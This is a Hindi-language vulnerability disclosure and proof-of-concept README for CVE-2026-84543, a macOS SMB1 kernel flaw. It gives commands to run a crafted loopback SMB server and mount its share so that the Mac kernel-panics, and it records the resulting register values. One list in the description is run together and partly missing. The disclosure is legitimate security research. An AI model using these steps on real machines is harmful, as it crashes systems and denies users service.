
CVE-2026-84543 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी प्रकटीकरण, एक macOS SMB कर्नेल भेद्यता जो तैयार किए गए SMB1 प्रतिक्रियाओं के माध्यम से कर्नेल पैनिक उत्पन्न करती है।
इस प्रूफ़ ऑफ़ कॉन्सेप्ट से प्रभावित Mac के kernel-panic और रीबूट होने की अपेक्षा है।
शोध के दौरान उपयोग किए गए प्रभावित टेस्ट बिल्ड macOS Tahoe 26.4 (25E246) और macOS 26.5 beta 4 (25F5068a) थे। Apple ने CVE-2026-84543 को macOS Golden Gate 27, Tahoe 26.7, और Sequoia 15.8 में ठीक किया।
smb1_unix_whoami_poc.py लूपबैक एविडेंस-कैप्चर सर्वर है। यह केवल Python की स्टैंडर्ड लाइब्रेरी का उपयोग करता है और:
_COMM_PAGE_ASB_TARGET_KERN_VALUE को पढ़ता है;SMB_QFS_POSIX_WHOAMI (0x0202) रिस्पॉन्स लौटाता है; और0x020B) एट्रिब्यूट लौटाता है।टर्मिनल A में:
cd poc
sudo python3 smb1_unix_whoami_poc.py \
--bind 127.0.0.1 \
--port 445 \
--log /tmp/CVE-2026-84543-poc.log
प्रिंट किए गए ASB_TARGET_KERN_VALUE को रिकॉर्ड करें; यह बूट पर रैंडमाइज़ होता है।
टर्मिनल B में:
mkdir -p ~/mnt/cve-2026-84543
mount_smbfs //[email protected]/share ~/mnt/cve-2026-84543
जब T बूट के प्रिंट किए गए kernel-value canary के बराबर हो:
x8 = T
x9 = T
x10 = T & 0x1ff
x11 = T
x12 = T & 0x7fffffff
x13 = 0
x14 = (T & 0x7fffffff) - 1
x8, x9, और x11 में विशिष्ट बिट्स प्रोवेनेंस स्थापित करते हैं। देखे गए संबंध सर्वर के रिस्पॉन्स फ़ील्ड्स और लाइव kernel रजिस्टर स्थिति के बीच बाइट-दर-बाइट संबंध प्रदान करते हैं।